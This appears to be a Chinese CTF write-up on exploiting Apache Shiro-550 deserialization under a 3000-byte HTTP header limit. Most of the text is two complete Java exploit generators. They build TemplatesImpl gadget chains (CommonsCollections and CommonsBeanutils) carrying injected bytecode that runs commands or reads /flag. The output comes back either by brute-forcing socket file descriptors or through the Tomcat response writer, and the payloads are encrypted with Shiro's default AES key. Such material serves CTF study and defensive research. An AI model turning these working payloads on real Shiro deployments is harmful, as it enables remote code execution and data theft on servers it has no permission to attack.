最近打RWCTF2023体验赛的一道题,题目就是一般的shiro550反序列化,但是对请求头的长度进行了限制

image-20240201142830824

http-header-size最大为3000

网上也找了很多相关绕过这个长度限制的方法,可以参考

https://y4tacker.github.io/2022/04/14/year/2022/4/%E6%B5%85%E8%B0%88Shiro550%E5%8F%97Tomcat-Header%E9%95%BF%E5%BA%A6%E9%99%90%E5%88%B6%E5%BD%B1%E5%93%8D%E7%AA%81%E7%A0%B4/

但自己构造的payload长度还是超过了3000,所以后面又找到了一个新的方法,就是利用linux下一切皆文件的特性,直接对套接字文件进行读写操作即可。

主要参考

https://www.00theway.org/2020/01/17/java-god-s-eye/

https://xz.aliyun.com/t/7307

所以我这里就直接暴力枚举文件描述符来回显,在CTF中可以这么搞,但在实战中要酌情使用,毕竟是遍历文件描述符的方式去回显的,有可能会回显到其他正常访问的用户上

相关java代码

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.FileDescriptor;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Exp {

    static ClassPool pool = ClassPool.getDefault();
    public static void main(String []args) throws Exception {


        CtClass ctClass = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
        //从3开始枚举文件描述符,0是标准输入,1是标准输出,2是标准错误输出,从3开始一般50以内就能遍历到自己的socket
        //靶机可能会崩溃,可以去掉try catch防止程序崩掉
        constructor.setBody("{java.lang.reflect.Constructor c = java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{int.class});\n" +
                "c.setAccessible(true);\n" +
                "for(int i=3;i<50;i++){\n" +
                "    try {\n" +
                "        new java.io.FileOutputStream((java.io.FileDescriptor) c.newInstance(new Object[]{new Integer(i)})).write(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(\"cat /flag\").getInputStream())).readLine().getBytes());\n" +
                "    }catch (Exception e){}\n" +
                "}}");

        ctClass.addConstructor(constructor);
        byte[] bytes = ctClass.toBytecode();
        byte[] payloads = new Exp().getPayload(bytes);

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.println(ciphertext.toString().length());
        System.out.println(ciphertext.toString());
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {

        Templates obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "a");
        setFieldValue(obj, "_tfactory", null);

        Transformer transformer = new InvokerTransformer("getClass", null, null);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);
        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
        Map expMap = new HashMap();
        expMap.put(tme, "1");
        outerMap.clear();
        setFieldValue(transformer, "iMethodName", "newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();
    }
}

得到的payload长度只有2880

image-20240202164823952

还是比较稳定的

image-20240202164918308

其他

记录下 @X1r0z 师傅的exp,这个获取回显的方法还是第一次见

package com.example.Shiro;

import com.example.Util.ReflectUtil;
import com.example.Util.SerializeUtil;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.crypto.CipherService;
import org.apache.shiro.util.ByteSource;

import java.util.PriorityQueue;

public class ShiroDemo {
    public static void main(String[] args) throws Exception {

        TemplatesImpl templatesImpl = new TemplatesImpl();
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("SC");

        String body = "javax.servlet.http.HttpServletRequest r = ((org.springframework.web.context.request.ServletRequestAttributes) org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();\n" +
                "java.lang.reflect.Field f = r.getClass().getDeclaredField(\"request\");\n" +
                "f.setAccessible(true);\n" +
                "org.apache.catalina.connector.Response p =((org.apache.catalina.connector.Request) f.get(r)).getResponse();\n" +
                "java.io.Writer w = p.getWriter();\n" +
                "w.write(new java.util.Scanner(new java.io.File(\"/flag\")).next());\n" +
                "w.flush();";

        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("{" + body + "}");
        clazz.addConstructor(constructor);
//        clazz.makeClassInitializer().setBody("{" + body + "}");

        // 设置 Super Class 为 AbstractTranslet
        CtClass superClazz = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        clazz.setSuperclass(superClazz);

        ReflectUtil.setFieldValue(templatesImpl, "_name", "Hello");
        ReflectUtil.setFieldValue(templatesImpl, "_bytecodes", new byte[][]{clazz.toBytecode()});
        ReflectUtil.setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        priorityQueue.add("1");
        priorityQueue.add("1");

        beanComparator.setProperty("outputProperties");
        ReflectUtil.setFieldValue(priorityQueue, "queue", new Object[]{templatesImpl, templatesImpl});
       byte[] serialized = SerializeUtil.serialize(priorityQueue);

        CipherService cipherService = new AesCipherService();
        byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource byteSource = cipherService.encrypt(serialized, key);
        byte[] value = byteSource.getBytes();
        String enc = Base64.encodeToString(value);
        System.out.println(enc.length());
        System.out.println(enc);
    }
}